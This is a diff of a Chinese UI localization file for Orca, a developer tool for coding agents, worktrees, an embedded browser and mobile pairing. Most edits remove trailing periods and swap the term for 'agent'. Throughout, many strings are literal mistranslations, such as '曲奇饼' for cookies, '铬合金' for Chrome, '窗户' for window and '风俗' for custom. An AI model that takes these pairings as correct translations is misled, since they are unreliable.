             "c5b9f8d1e3": "xai",
             "usagePercentageDisplayTitle": "用量百分比",
-            "usagePercentageDisplayDescription": "选择以已用或剩余百分比显示提供商限额。",
+            "usagePercentageDisplayDescription": "选择以已用或剩余百分比显示提供商限额",
             "tray": {
               "tray": "托盘",
               "system": "系统托盘",
               "minimize": "最小化",
               "close": "关闭",
-              "notification": "通知区",
-              "background": "背景"
+              "notification": "通知区域",
+              "background": "后台"
             },
             "cursor": {
-              "description": "显示来自此电脑上 Cursor 登录的 Cursor 套餐用量。",
+              "description": "显示来自此电脑上 Cursor 登录的 Cursor 套餐用量",
               "kw": {
                 "cursor": "cursor"
               },
               "34f2b8c539": "Cursor 用量"
             },
-            "zcodeUsageDescription": "在状态栏中显示 ZCode 编码计划配额使用情况。",
+            "zcodeUsageDescription": "在状态栏中显示 ZCode 编码计划配额使用情况",
             "zcode": "零码",
             "zai": "在",
             "glm": "格鲁姆",
@@ -9124,7 +9417,14 @@
             "c29089716e": "Kimi 使用情况",
             "96e32c1118": "MiniMax 使用情况",
             "aff6e6afdf": "IDE字体",
-            "ba1f9d39a6": "Antigravity 使用情况"
+            "ba1f9d39a6": "Antigravity 使用情况",
+            "statusBarUsageFormat": {
+              "title": "用量格式",
+              "description": "使用占位符自定义各提供商的用量在状态栏中的显示方式。",
+              "format": "格式",
+              "template": "模板",
+              "placeholder": "占位符"
+            }
           }
         },
         "auto": {
@@ -9138,16 +9438,16 @@
                 "50139297e6": "内置提示",
                 "502aa57681": "指示",
                 "40d21f2efc": "提示词",
-                "672387fb77": "生成分支名称时使用的智能体提示词模板。",
+                "672387fb77": "生成分支名称时使用的代理提示词模板",
                 "722551c5b3": "分支名称提示词模板",
                 "f41833025e": "产生",
                 "ed677944cc": "工作树",
-                "3ef3cbe98c": "智能体",
+                "3ef3cbe98c": "代理",
                 "f0acf64301": "生物名称",
                 "7803423877": "自动",
                 "55a1860e47": "重命名",
                 "9319bd9827": "分支",
-                "ea94b9da8a": "智能体启动后，根据工作重命名自动生成的分支。",
+                "ea94b9da8a": "代理启动后，根据工作重命名自动生成的分支",
                 "427f2cd1eb": "自动重命名分支和工作树"
               }
             }
@@ -9155,7 +9455,7 @@
         },
         "browser": {
           "search": {
-            "7539f6336c": "配置文件",
+            "7539f6336c": "轮廓",
             "1c1e097985": "弧",
             "533a253deb": "边缘",
             "75a0d435b7": "铬合金",
@@ -9165,7 +9465,7 @@
             "66dd641a47": "会话",
             "29193a51d5": "曲奇饼",
             "2d2d995c58": "浏览器",
-            "060ac1fcba": "从 Chrome、Edge 或其他浏览器导入 cookie，以使用 Orca 内的现有登录信息。",
+            "060ac1fcba": "从 Chrome、Edge 或其他浏览器导入 cookie，以使用 Orca 内的现有登录信息",
             "a7a07d5415": "编辑",
             "8dd4805991": "文件",
             "68d1db8929": "markdown",
@@ -9191,7 +9491,7 @@
             "5448f4097b": "默认",
             "54f4ea55f7": "比例",
             "4a98ed195f": "缩放",
-            "c3d89ed4d0": "缩放级别应用于新打开的浏览器选项卡。",
+            "c3d89ed4d0": "缩放级别应用于新打开的浏览器选项卡",
             "0bb34eacc9": "询问",
             "8b8ed06e4b": "多功能框",
             "3538b3aaeb": "Token",
@@ -9202,14 +9502,14 @@
             "8a489aab8d": "谷歌",
             "72b4b89970": "引擎",
             "16bd69cd82": "搜索",
-            "0628d5943b": "在地址栏中输入非 URL 文本时使用的搜索引擎。",
+            "0628d5943b": "在地址栏中输入非 URL 文本时使用的搜索引擎",
             "4596a52cf7": "降落",
             "5164c47e31": "空白的",
             "4fda4fb066": "网址",
             "0dbb1eaf4e": "主页",
             "291f480a5e": "家",
-            "a942905148": "创建新浏览器选项卡时打开的 URL。留空以打开空白选项卡。",
-            "4e0fdf0a3f": "将工作区端口作为工作树专属的 Orca localhost URL 打开，便于区分浏览器标签页。",
+            "a942905148": "创建新浏览器选项卡时打开的 URL，留空以打开空白选项卡",
+            "4e0fdf0a3f": "将工作区端口打开为特定于工作区的 Orca localhost URL，便于区分浏览器标签页",
             "terminalLinkActions": {
               "terminal": "终端",
               "chat": "聊天",
@@ -9221,19 +9521,19 @@
             },
             "6f5199381e": "端口",
             "8f036ea11f": "工作树",
-            "c4e3bf3282": "选项卡",
-            "a8c55c9c91": "图标",
+            "c4e3bf3282": "标签页",
+            "a8c55c9c91": "网站图标",
             "660c1dd007": "标签",
             "clientHostedRemote": {
-              "remote": "偏僻的",
-              "client": "客户",
+              "remote": "远程",
+              "client": "客户端",
               "host": "主机",
               "desktop": "桌面",
-              "placement": "放置"
+              "placement": "位置"
             },
             "sshWorkspaceRouting": {
               "ssh": "SSH",
-              "proxy": "代理",
+              "proxy": "代理服务器",
               "tunnel": "隧道",
               "routing": "路由",
               "network": "网络"
@@ -9241,9 +9541,9 @@
             "userAgent": {
               "identity": "身份",
               "userAgent": "用户代理",
-              "native": "原生",
-              "cleaned": "清洁过的",
-              "restart": "重新启动"
+              "native": "原生模式",
+              "cleaned": "清理模式",
+              "restart": "重启"
             },
             "f0eb09ce09": "链路路由",
             "e2e32ba6da": "localhost 工作树标签",
@@ -9270,14 +9570,14 @@
               "02837ee497": "会话",
               "fb8178824f": "曲奇饼",
               "ba4eb53b72": "浏览器使用",
-              "2fb24d17db": "从 Chrome、Edge 或其他浏览器导入 cookie，以便智能体可以重复使用您的登录信息。",
+              "2fb24d17db": "从 Chrome、Edge 或其他浏览器导入 cookie，以便代理可以重复使用您的登录信息",
               "cee44fb442": "自动化",
-              "a57c2172dc": "智能体浏览器",
+              "a57c2172dc": "代理浏览器",
               "f5b8fdddf5": "orca-cli",
               "e5a784bc54": "安装",
-              "9d97446873": "智能体",
+              "9d97446873": "代理",
               "a2d489263e": "技能",
-              "a7e82445fa": "安装浏览器使用技能，以便智能体可以操作 Orca 的浏览器。",
+              "a7e82445fa": "安装浏览器使用技能，以便代理可以操作 Orca 的浏览器",
               "9e2bfa1405": "导入浏览器 Cookie",
               "e72d500ca5": "安装浏览器使用技能"
             }
@@ -9287,14 +9587,14 @@
           "message": {
             "ai": {
               "search": {
-                "3766941527": "智能体",
+                "3766941527": "代理",
                 "181cdb0637": "打开",
                 "8e9cc598d7": "产生",
                 "b7d50da4d8": "模板",
                 "7e264b926b": "草稿",
                 "b261c88609": "PR",
                 "110be48b81": "PR",
-                "001ca3f2af": "创建 PR 编辑器打开时使用的默认值。",
+                "001ca3f2af": "创建 PR 编辑器打开时使用的默认值",
                 "eefd33788c": "PR 创建默认值",
                 "d32936bb2a": "分支",
                 "127d512e75": "提交",
@@ -9308,7 +9608,7 @@
                 "57c851a68c": "CLI",
                 "61117e57f3": "参数",
                 "0f29331fed": "论点",
-                "18b6d38835": "每个源代码管理 AI 按钮使用的智能体、CLI 参数和提示词模板。",
+                "18b6d38835": "每个源代码管理 AI 按钮使用的代理、CLI 参数和提示词模板",
                 "3c4e5e5938": "操作方案",
                 "ee14a9e9f7": "已启用",
                 "82109d627d": "源代码控制",
@@ -9316,7 +9616,7 @@
                 "f121bec167": "claude",
                 "93e5210da8": "信息",
                 "c33cb1b982": "AI",
-                "0b946b2abe": "为源代码管理的 commit、PR、分支命名和修复操作添加操作方案。",
+                "0b946b2abe": "为源代码管理的提交、拉取请求、分支命名和修复操作添加操作方案",
                 "24dbdfca78": "显示源代码控制 AI 操作"
               }
             }
@@ -9329,9 +9629,9 @@
               "798be54d7e": "自动化",
               "e27f8bafbf": "截屏",
               "26c1290d83": "屏幕录制",
-              "82f01c2d2c": "辅助功能",
+              "82f01c2d2c": "可达性",
               "fefb452f5b": "计算机控制",
-              "9210db582b": "当您要求时，允许智能体检查屏幕截图并操作本地应用程序。",
+              "9210db582b": "当您要求时，允许代理检查屏幕截图并操作本地应用程序",
               "c3c3d70b5e": "计算机控制"
             }
           }
@@ -9347,20 +9647,20 @@
               "c4a4a02ea4": "USB",
               "fa3239cd42": "本地网络",
               "87620e6416": "局域网",
-              "acad3d4743": "允许从终端会话使用设备工具和局域网访问。",
+              "acad3d4743": "允许从终端会话使用设备工具和局域网访问",
               "3e0131e45d": "云",
               "ce07159ff5": "桌面",
               "a0c19119fb": "下载",
               "4438f81bfa": "文件",
               "c10e36cbd1": "全磁盘访问",
-              "05ab708ee5": "打开 macOS 隐私窗格，以访问受保护的项目和 worktree 文件。",
+              "05ab708ee5": "打开 macOS 隐私窗格，以访问受保护的项目和 worktree 文件",
               "bbf543a3a1": "全磁盘访问",
-              "7f145a3984": "窗口",
+              "7f145a3984": "窗户",
               "5610022e1e": "自动化",
               "0a467b750e": "截屏",
-              "08f8039ca9": "辅助功能",
+              "08f8039ca9": "可达性",
               "3cd51d18a1": "屏幕录制",
-              "2e5d98ab56": "允许屏幕截图、屏幕检查、击键和窗口自动化。",
+              "2e5d98ab56": "允许屏幕截图、屏幕检查、击键和窗口自动化",
               "00e954319e": "耳语",
               "1e6e27b202": "ffmpeg",
               "f061f08b7b": "袜队",
@@ -9369,13 +9669,13 @@
               "af122938a3": "语音",
               "259b829b84": "相机",
               "ed7c12bdb4": "麦克风",
-              "6eca1636b7": "允许语音、转录、网络摄像头和媒体捕获工具。",
+              "6eca1636b7": "允许语音、转录、网络摄像头和媒体捕获工具",
               "4e225e7c56": "开发者工具",
               "6db4fca386": "麦科斯",
               "0c13b249e3": "TCC",
               "2270ccff3f": "隐私",
               "a98aa11a9c": "权限",
-              "bc8ac95310": "终端启动的开发者工具的 macOS 权限。",
+              "bc8ac95310": "终端启动的开发者工具的 macOS 权限",
               "70ffdc218d": "屏幕录制和辅助功能",
               "16490ec4cd": "麦克风和摄像头",
               "ad085fa291": "开发者权限"
@@ -9387,14 +9687,14 @@
             "0d24759f14": "实验性",
             "7b79081695": "未读",
             "f10d307468": "完成",
-            "5f067ba0f9": "智能体",
+            "5f067ba0f9": "代理",
             "7695fd30e9": "通知",
             "8facf10138": "钟",
             "edc49480a1": "窗格",
             "268e99d957": "强调",
             "01567f19ca": "注意力",
             "9bb3bd5098": "终端",
-            "11877246fc": "终端响铃和智能体完成事件的持久窗格突出显示。",
+            "11877246fc": "终端响铃和代理完成事件的持久窗格突出显示",
             "9e4ddf776d": "终端关注",
             "9af7a518db": "特点",
             "791fefc0b0": "角落",
@@ -9403,21 +9703,21 @@
             "2a33975d72": "吉祥物",
             "b54cea709b": "伙伴",
             "051203d37c": "宠物",
-            "6b5a56ac35": "右下角漂浮的动画宠物。",
+            "6b5a56ac35": "右下角漂浮的动画宠物",
             "87d99e634b": "宠物",
             "agentHibernation": {
-              "agent": "智能体",
-              "agents": "智能体",
-              "description": "在配置的空闲时间后停止后台智能体终端，并在再次打开时恢复受支持的会话。智能体睡眠会保留由 Orca 启动的智能体的启动选项；手动启动的智能体可能会使用当前的 Orca 默认值恢复。",
+              "agent": "代理",
+              "agents": "代理",
+              "description": "空闲超时后停止后台代理终端，再次打开时恢复受支持会话",
               "minutes": "分钟",
               "sleep": "睡眠",
               "terminal": "终端",
-              "title": "智能体睡眠"
+              "title": "代理睡眠"
             },
             "newWorktreeCardStyle": {
               "card": "卡片",
               "cards": "卡片",
-              "description": "预览更新后的 worktree 卡片布局、元数据位置、卡片显示菜单选项和状态呈现。",
+              "description": "预览更新后的 Worktree 卡片布局、元数据位置、卡片显示菜单选项和状态呈现",
               "menu": "菜单",
               "metadata": "元数据",
               "status": "状态",
@@ -9426,22 +9726,15 @@
               "worktrees": "工作树"
             },
             "agentDashboard": {
-              "description": "用于监控跨工作树的智能体的看板，支持窗口内或弹出窗口显示。",
+              "description": "用于监控跨工作树的代理的看板，支持窗口内或弹出窗口显示",
               "dashboard": "仪表盘",
-              "agent": "智能体",
+              "agent": "代理",
               "kanban": "看板",
-              "popout": "弹出",
-              "board": "木板",
+              "popout": "弹出窗口",
+              "board": "看板",
               "inWindow": "窗口内",
               "worktrees": "工作树",
               "eaf17a7214": "智能体仪表盘"
-            },
-            "browserExtensions": {
-              "title": "浏览器扩展程序",
-              "description": "在 Orca 浏览器标签页中运行 Chrome 扩展程序，例如密码管理器。",
-              "extension": "扩展程序",
-              "chrome": "chrome",
-              "password": "密码管理器"
             }
           }
         },
@@ -9459,9 +9752,9 @@
               "6410fe83d8": "终端",
               "2b5efa55c9": "全局的",
               "ebeedb2f6a": "快捷终端",
-              "6f183fa1b9": "浮动终端",
+              "6f183fa1b9": "浮动码头",
               "a08e482f6d": "浮动工作区",
-              "b96b5ee6cf": "启用浮动工作区，选择新选项卡的开始位置，然后选择切换按钮的显示位置。",
+              "b96b5ee6cf": "启用浮动工作区，选择新选项卡的开始位置，然后选择切换按钮的显示位置",
               "0eb607e5ef": "浮动工作区"
             }
           }
@@ -9473,8 +9766,8 @@
             "b65665703a": "支持",
             "06ea5a69a6": "GitHub",
             "e4fb4516d0": "星星",
-            "e0b8c8bc25": "点赞 GitHub star 支持该项目（通过 gh CLI ",
-            "36a72f0d9e": "GitHub 上的 Star Orca",
+            "e0b8c8bc25": "点赞 GitHub Star 支持该项目(通过 gh CLI)",
+            "36a72f0d9e": "在 GitHub 上 Star Orca",
             "95b63edde7": "claude",
             "3462308bd3": "Token",
             "660528b048": "成本",
@@ -9482,22 +9775,22 @@
             "0efc9d96ad": "提示词",
             "939b80f5fd": "计时器",
             "b2601a778c": "缓存",
-            "40c9585e43": "显示提示词缓存到期倒计时的计时器（Claude 智能体）。",
+            "40c9585e43": "显示提示词缓存到期倒计时的计时器(Claude 代理)",
             "e49e739a59": "下载",
             "c9d8c1ce66": "发行说明",
             "9e86ccd05c": "版本",
             "f89a94773c": "更新",
-            "79ff46776e": "检查应用程序更新并安装较新的 Orca 版本。",
-            "baa263d6d8": "智能体",
+            "79ff46776e": "检查应用程序更新并安装较新的 Orca 版本",
+            "baa263d6d8": "代理",
             "bda108e66c": "技能",
-            "244e3fb4c8": "安装 Orca 技能，以便智能体知道如何使用 Orca CLI。",
-            "2d9f7b42df": "智能体技能",
+            "244e3fb4c8": "安装 Orca 技能，以便代理知道如何使用 Orca CLI",
+            "2d9f7b42df": "代理技能",
             "0a00691c06": "Shell 命令",
             "dbeb1f348e": "命令",
             "88d3df9ce9": "终端",
             "fb4f338a3d": "路径",
             "924a660a78": "CLI",
-            "ca529079bf": "注册或删除 Orca CLI 命令。",
+            "ca529079bf": "注册或删除 Orca CLI 命令",
             "327e3fa70d": "Orca CLI",
             "fb84767421": "转变",
             "f8f0ac213a": "顺序的",
@@ -9507,33 +9800,33 @@
             "fe62b3f09f": "控制键",
             "2a254b725e": "标签页",
             "ca812803ea": "最近的 Tab 键顺序",
-            "e53d585ed6": "最近或标签栏。",
+            "e53d585ed6": "最近或标签栏",
             "22572e99c1": "注释",
             "1ff67ba40c": "笔记",
             "4dd5684836": "评审",
             "d05f629d2c": "markdown",
-            "694613d47f": "在富文本编辑器模式下显示本地 Markdown 评审笔记控件。",
+            "694613d47f": "在富文本编辑器模式下显示本地 Markdown 评审笔记控件",
             "a0014961ae": "滚动",
             "3ca5ab78a5": "代码",
             "e3919429c0": "概述",
             "9c72990db8": "小地图",
-            "716a4dfb1f": "编辑文件时显示小地图概述。",
+            "716a4dfb1f": "编辑文件时显示小地图概述",
             "6f584fcb48": "小地图",
             "19baae651b": "侧边栏",
             "973ed6bfbf": "组合差异",
             "0a02059549": "文件树",
             "2f42852568": "树",
             "3b5733573e": "差异",
-            "dec71988f0": "打开组合差异视图时显示或隐藏文件树。",
+            "dec71988f0": "打开组合差异视图时显示或隐藏文件树",
             "be24c7cd67": "拆分",
             "233f7e2f37": "并排",
             "0a5fa65926": "内联",
             "2b463f0bf9": "看法",
-            "ecb9415c80": "默认情况下显示 git diff 的首选演示格式。",
+            "ecb9415c80": "默认情况下显示 git diff 的首选演示格式",
             "b2799ba622": "毫秒",
             "146728ac2c": "延迟",
             "86f54575c7": "自动保存",
-            "8ea61ad55c": "Orca 在您上次编辑后等待多长时间才会自动保存。",
+            "8ea61ad55c": "Orca 在您上次编辑后等待多长时间才会自动保存",
             "4469b6fa4e": "保存",
             "c56cb6f1c2": "网络",
             "3566fce83f": "本地主机",
@@ -9551,7 +9844,7 @@
             "e1ee631696": "编辑",
             "5a9df5566f": "打开菜单",
             "b8093e9a93": "打开方式",
-            "a916662068": "从工作区的“打开方式”菜单中选择可用的应用程序。",
+            "a916662068": "从工作区的\"打开方式\"菜单中选择可用的应用程序",
             "7e9b556873": "跳过",
             "ca86dd6e27": "对话",
             "9f8558233a": "确认",
@@ -9561,46 +9854,46 @@
             "93f6ec5e70": "目录",
             "9bde064915": "子文件夹",
             "ec5049e510": "嵌套的",
-            "b9cffd374d": "在以 repo 命名的子文件夹内创建工作区。",
+            "b9cffd374d": "在以 repo 命名的子文件夹内创建工作区",
             "7887a2c262": "文件夹",
             "7baf524b04": "工作区",
-            "d0bc793689": "创建工作区文件夹的根目录。",
-            "defaultProjectRuntimeDescription": "选择本地 Windows 项目继承的运行时。",
-            "4497e2e2bb": "在编辑富 Markdown 时显示浏览器拼写下划线和建议。",
-            "005be5c699": "在文件编辑器中自动换行长行，而无需水平滚动。",
-            "editorFontFamilyDesc": "文件编辑器和差异视图使用的字体，留空则跟随终端字体。",
+            "d0bc793689": "创建工作区文件夹的根目录",
+            "defaultProjectRuntimeDescription": "选择本地 Windows 项目继承的运行时",
+            "4497e2e2bb": "在编辑富 Markdown 时显示浏览器拼写下划线和建议",
+            "005be5c699": "在文件编辑器中自动换行长行，而无需水平滚动",
+            "editorFontFamilyDesc": "文件编辑器和差异视图使用的字体，留空则跟随终端字体",
             "externalWorktrees": "外部工作树",
-            "externalWorktreesDescription": "选择是否默认显示在 Orca 外部创建的工作树。",
+            "externalWorktreesDescription": "选择是否默认显示在 Orca 外部创建的工作树",
             "preview": "预览",
-            "reuse": "重用",
-            "replace": "代替",
-            "explorer": "探险家",
+            "reuse": "复用",
+            "replace": "替换",
+            "explorer": "文件资源管理器",
             "italic": "斜体",
             "browsing": "浏览",
-            "collapseUnchangedDesc": "在文件差异中仅显示更改的行和一些周围的上下文，将其余部分隐藏在可扩展带后面。查看所有更改差异总是以这种方式折叠。",
-            "collapseUnchangedKw": "坍塌",
-            "hideUnchangedKw": "隐藏不变",
-            "foldKw": "折叠",
+            "collapseUnchangedDesc": "在文件差异中仅显示更改行和少量上下文，其余内容隐藏在可展开区域中，“查看所有更改”差异始终采用此方式折叠",
+            "collapseUnchangedKw": "折叠",
+            "hideUnchangedKw": "隐藏未更改内容",
+            "foldKw": "收起",
             "editorFontKw": "字体",
             "f96cdaf37d": "拼写检查",
             "a51d23f4a1": "拼写检查",
             "641358460a": "拼写",
             "d755962089": "红色下划线",
-            "projectRuntime": "项目运行时间",
+            "projectRuntime": "项目运行时",
             "runtime": "运行时",
-            "windowsHost": "视窗主机",
-            "wsl": "wsl",
+            "windowsHost": "Windows 主机",
+            "wsl": "WSL",
             "distro": "发行版",
             "execution": "执行",
-            "externalKeyword": "外部的",
-            "visibility": "能见度",
+            "externalKeyword": "外部",
+            "visibility": "可见性",
             "sidebar": "侧边栏",
-            "867dddea41": "固定的",
-            "5250cf0e48": "别针",
+            "867dddea41": "已固定",
+            "5250cf0e48": "固定",
             "afa37a34e1": "关闭",
             "running_terminal": "运行中",
             "terminal": "终端",
-            "agent": "智能体",
+            "agent": "代理",
             "command": "命令",
             "confirm": "确认",
             "close": "关闭",
@@ -9632,13 +9925,13 @@
             "b7e52124c7": "速率限制",
             "ead733645f": "光亮的",
             "4808f065b3": "GitLab",
-            "2b4a72885d": "当前 GitLab CLI REST 速率限制标头（如果可用）。",
+            "2b4a72885d": "当前 GitLab CLI REST 速率限制标头(如果可用)",
             "65b69d9f80": "Graqh QL",
-            "1139f61512": "当前 GitHub CLI REST、搜索和 GraphQL 速率限制。",
+            "1139f61512": "当前 GitHub CLI REST、搜索和 GraphQL 速率限制",
             "035134fcd9": "工作树",
             "0c75583ca9": "安全地",
             "bae91effdd": "新基线",
-            "de06e9d105": "基础引用",
+            "de06e9d105": "基本参考",
             "ab0e22c9f6": "刷新本地 main",
             "d9f70d51a0": "过期的 main",
             "0849b571fe": "最新",
@@ -9647,19 +9940,19 @@
             "564942ffc5": "origin/main",
             "28192e3a63": "master",
             "e3e9adde59": "main",
-            "0e993bf00f": "当您创建工作区时，Orca 会刷新远程基准并安全地快进匹配的本地分支，例如 main 或 master。这可以防止像 git diff main...HEAD 这样的命令对比过时的历史记录。如果该分支有未提交的更改或仅在本地的提交，Orca 会跳过更新。",
-            "769ddd7f81": "自定义",
+            "0e993bf00f": "创建工作区时快进匹配的本地基准分支(如 main)，有未提交或仅本地提交时跳过",
+            "769ddd7f81": "风俗",
             "1d2fae1fa2": "git 用户名",
             "f83c8937c4": "分支命名",
-            "5ecd91c5ef": "创建工作树时添加到分支名称的前缀。",
-            "sourceControlGroupOrderDescription": "选择在源代码管理中优先显示“已暂存更改”还是“更改”。",
+            "5ecd91c5ef": "创建工作树时添加到分支名称的前缀",
+            "sourceControlGroupOrderDescription": "选择在源代码管理中优先显示“已暂存更改”还是“更改”",
             "groupOrder": "分组顺序",
             "changesFirst": "更改优先",
             "stagedFirst": "已暂存优先",
             "untrackedFirst": "未跟踪优先",
             "sourceControl": "源代码管理",
             "gitChanges": "git 更改",
-            "compareAgainstUpstreamDescription": "选择源代码管理在比较已提交变更时默认使用的基准。分支上游会自动跟随当前分支；如果没有上游，则回退到仓库默认分支。你仍然可以在对应 worktree 的 Git 面板中按 worktree 更改对比基准。Pull Request 和变基目标不会改变。",
+            "compareAgainstUpstreamDescription": "选择源代码管理在比较已提交变更时默认使用的基准，分支上游会自动跟随当前分支",
             "compareBase": "对比基准",
             "currentBranch": "当前分支",
             "upstream": "upstream",
@@ -9670,8 +9963,8 @@
             "defaultBranch": "默认分支",
             "repositoryDefault": "仓库默认",
             "branchUpstream": "分支上游",
-            "diffBase": "差异基础",
-            "jiraIssueKeyCasingDescription": "Orca 为新的 Jira 关联工作区建议的工作区和分支名称中 Jira 议题键的大小写，例如使用 PROJ-123-fix-login 而非 proj-123-fix-login。现有工作区和你输入的名称绝不会更改。",
+            "diffBase": "差异基准",
+            "jiraIssueKeyCasingDescription": "Orca 为新的 Jira 关联工作区建议的工作区和分支名称中 Jira 议题键的大小写，例如使用 PROJ-123-fix-login 而非 proj-123-fix-login，现有工作区和你输入的名称绝不会更改",
             "jira": "Jira",
             "issueKey": "议题键",
             "uppercase": "大写",
@@ -9698,7 +9991,7 @@
             "e5cd0e7a46": "选择",
             "e25165320e": "编辑",
             "b51d47ceb7": "输入",
-            "874d88f4a6": "在 Linux 和 macOS 上默认启用。 Linux使用系统选择剪贴板；其他平台使用私有缓冲区。",
+            "874d88f4a6": "Linux / macOS 默认启用，Linux 用系统选择剪贴板，其他平台用私有缓冲",
             "0e98af0293": "单击鼠标中键从所选内容粘贴"
           }
         },
@@ -9709,30 +10002,30 @@
             "faa0b5a0d9": "API密钥",
             "c450244ad7": "集成",
             "7319e3015b": "Linear",
-            "16a486a49d": "连接 Linear 以浏览和链接议题。",
+            "16a486a49d": "连接 Linear 以浏览和链接议题",
             "20540996ef": "凭据",
-            "2ec2bd328c": "API token",
+            "2ec2bd328c": "API Token",
             "7345b7c3e6": "Atlassian",
             "e1263dd748": "Jira",
-            "76f6af7c57": "连接 Jira Cloud 或更新 Jira API token 凭据。",
+            "76f6af7c57": "连接 Jira Cloud 或更新 Jira API Token 凭据",
             "8c568d761c": "PR",
             "33180e8c10": "自托管",
             "129fc59aa8": "Gitea",
-            "d0d019dc29": "通过 API token环境变量进行 Gitea 身份验证。",
+            "d0d019dc29": "通过 API Token 环境变量进行 Gitea 身份验证",
             "03a7b275be": "ADO",
             "ed63380247": "天蓝色 repos",
             "b38b5d27f1": "天蓝色 devops",
-            "7b1f3984bb": "通过token环境变量进行 Azure DevOps Repos 身份验证。",
+            "7b1f3984bb": "通过 Token 环境变量进行 Azure DevOps Repos 身份验证",
             "50d20817f7": "Bitbucket",
             "371ee914d2": "合并请求",
             "581844769a": "MR",
             "b40cbe5de4": "glab",
             "b939695c69": "GitLab",
-            "6e2ab619c6": "通过 glab CLI 进行 GitLab 身份验证。",
+            "6e2ab619c6": "通过 glab CLI 进行 GitLab 身份验证",
             "41ccade05c": "gh",
             "b79c21bd42": "GitHub",
-            "7166b9090c": "通过 gh CLI 进行 GitHub 身份验证。",
-            "760e2446e0": "使用保存的 API 令牌或环境变量进行 Bitbucket Cloud 身份验证。",
+            "7166b9090c": "通过 gh CLI 进行 GitHub 身份验证",
+            "760e2446e0": "使用保存的 API 令牌或环境变量进行 Bitbucket Cloud 身份验证",
             "af5ae87847": "访问令牌",
             "d8906d60a9": "Jira 集成",
             "9e238582e8": "Bitbucket 集成",
@@ -9756,7 +10049,7 @@
           "name": {
             "search": {
               "title": "机器名称",
-              "description": "选择其他设备和主机用来显示这台电脑的名称。",
+              "description": "选择其他设备和主机用来显示这台电脑的名称",
               "machineName": "机器名称",
               "machine": "机器",
               "hostname": "主机名",
@@ -9769,38 +10062,38 @@
         "mobile": {
           "emulator": {
             "search": {
-              "2348045036": "选择 Orca 默认打开的模拟器设备。",
+              "2348045036": "选择 Orca 默认打开的模拟器设备",
               "2bb2e09225": "手机技能",
               "bbe4267416": "模拟器类型",
               "64494f03c3": "模拟器附加",
               "6f728f1456": "模拟器抽头",
-              "f8b871d655": "智能体客户端",
-              "2e0b45b2ba": "使用 Orca CLI 命令列出、附加、点击和输入手机模拟器。",
+              "f8b871d655": "代理客户端",
+              "2e0b45b2ba": "使用 Orca CLI 命令列出、附加、点击和输入手机模拟器",
               "8ef0f08d36": "运行时",
               "27397fe8e9": "xcode 命令行工具",
               "7650063d17": "模拟控制",
               "3211e7acf9": "xcrun",
               "42bfab45d8": "可用性",
-              "ea1f51b980": "检查Xcode、simctl、serve-sim和模拟器设备是否准备就绪。",
+              "ea1f51b980": "检查Xcode、simctl、serve-sim和模拟器设备是否准备就绪",
               "04c5f5d901": "设备",
               "25d7bfbcd4": "乌迪德",
               "ec3c4043fd": "默认ipad",
               "1dc8c52ffa": "默认 iPhone",
               "ab4814f3c5": "默认模拟器",
-              "b8ddd13195": "智能体模拟器",
+              "b8ddd13195": "代理模拟器",
               "1ad6fb6230": "默认设备",
               "ac0a985873": "模拟器技能",
               "9353854ff3": "Orca 模拟器",
               "d4b7833894": "Orca CLI",
               "84e5706975": "serve-sim",
               "7c5a8a2bee": "Xcode",
-              "bec7231663": "平板电脑",
+              "bec7231663": "iPad",
               "49727355a3": "iPhone",
               "6b6407dc1f": "模拟器",
               "2d67f708ce": "模拟器",
-              "c5eca29310": "ios模拟器",
-              "25159de808": "手机模拟器",
-              "9595354cff": "配置对 Orca 和编码智能体的手机模拟器支持。",
+              "c5eca29310": "iOS 模拟器",
+              "25159de808": "移动端模拟器",
+              "9595354cff": "配置对 Orca 和编码代理的手机模拟器支持",
               "de556a0911": "模拟器可用性",
               "b8c9f903eb": "默认模拟器设备",
               "0d6e7dba38": "智能体 CLI 控制",
@@ -9812,7 +10105,7 @@
               "dbccde3a60": "关闭",
               "9e16be01d6": "背景",
               "3a5e31e84b": "离开",
-              "8015fd9523": "抓住",
+              "8015fd9523": "保持",
               "aa3f736042": "调整大小",
               "356c31d6dc": "宽度",
               "fadcbfdd99": "合身",
@@ -9820,7 +10113,7 @@
               "6cd2bfdb0e": "恢复",
               "b34ad5b3a7": "终端",
               "6db86f445f": "移动端",
-              "707fc78052": "选择关闭应用程序或切换离开后，您在手机设备上查看的终端会发生什么情况。",
+              "707fc78052": "选择关闭应用程序或切换离开后，您在手机设备上查看的终端会发生什么情况",
               "1e711aca11": "当您离开手机应用程序时",
               "126afc5dbd": "远程",
               "70f505f3c3": "局域网",
@@ -9833,17 +10126,17 @@
               "c690e3ee38": "tailscale",
               "a023683767": "界面",
               "7b37c2e557": "网络",
-              "3190ef67a4": "选择用于手机配对的网络地址。",
+              "3190ef67a4": "选择用于手机配对的网络地址",
               "7d01f93ec0": "已连接",
               "5e8fda4d7f": "配对的",
               "905c65a308": "撤销",
               "82783d9b71": "设备",
-              "13419718b3": "管理配对的手机设备。",
+              "13419718b3": "管理配对的手机设备",
               "2128a21096": "扫描",
               "e518cbd61c": "一对",
               "4a0c826f3d": "代码",
               "3c1807a81a": "qr",
-              "7fb728fb2b": "通过扫描二维码来配对手机设备。",
+              "7fb728fb2b": "通过扫描二维码来配对手机设备",
               "cb018bcc07": "连接设备",
               "1dcb1d1a11": "手机配对",
               "a068d70f7b": "网络接口"
@@ -9862,9 +10155,9 @@
               "cf2c93b479": "一对",
               "f4ed142753": "手机",
               "f213400800": "移动端",
-              "671eb4173c": "通过手机控制终端和智能体。",
+              "671eb4173c": "通过手机控制终端和代理",
               "ffd52a96e4": "移动端",
-              "682293cadf": "在左侧边栏顶部显示 Orca Mobile 按钮。",
+              "682293cadf": "在左侧边栏顶部显示 Orca Mobile 按钮",
               "e4f4daea0e": "中继",
               "5d5af8e041": "iPhone",
               "74618577c7": "移动端",
@@ -9881,11 +10174,11 @@
           "search": {
             "aa288005c3": "测试",
             "ca8faa40d7": "通知",
-            "4e30b1925e": "使用本机传递路径触发示例桌面通知。",
+            "4e30b1925e": "使用本机传递路径触发示例桌面通知",
             "ecdeff4993": "响度",
             "d58b64dddf": "体积",
             "dc7d7c07cd": "声音",
-            "eeb6f77322": "非系统通知声音的播放音量。",
+            "eeb6f77322": "非系统通知声音的播放音量",
             "ef86a782cc": "邦",
             "3014ad1b8f": "丁",
             "079c29aeb5": "弗拉克",
@@ -9895,26 +10188,26 @@
             "57e34a31cd": "声音",
             "5362074f19": "mp3",
             "6e08f78315": "声音的",
-            "c718793e95": "选择 Orca 为桌面通知播放的内置、系统或本地音频文件。",
+            "c718793e95": "选择 Orca 为桌面通知播放的内置、系统或本地音频文件",
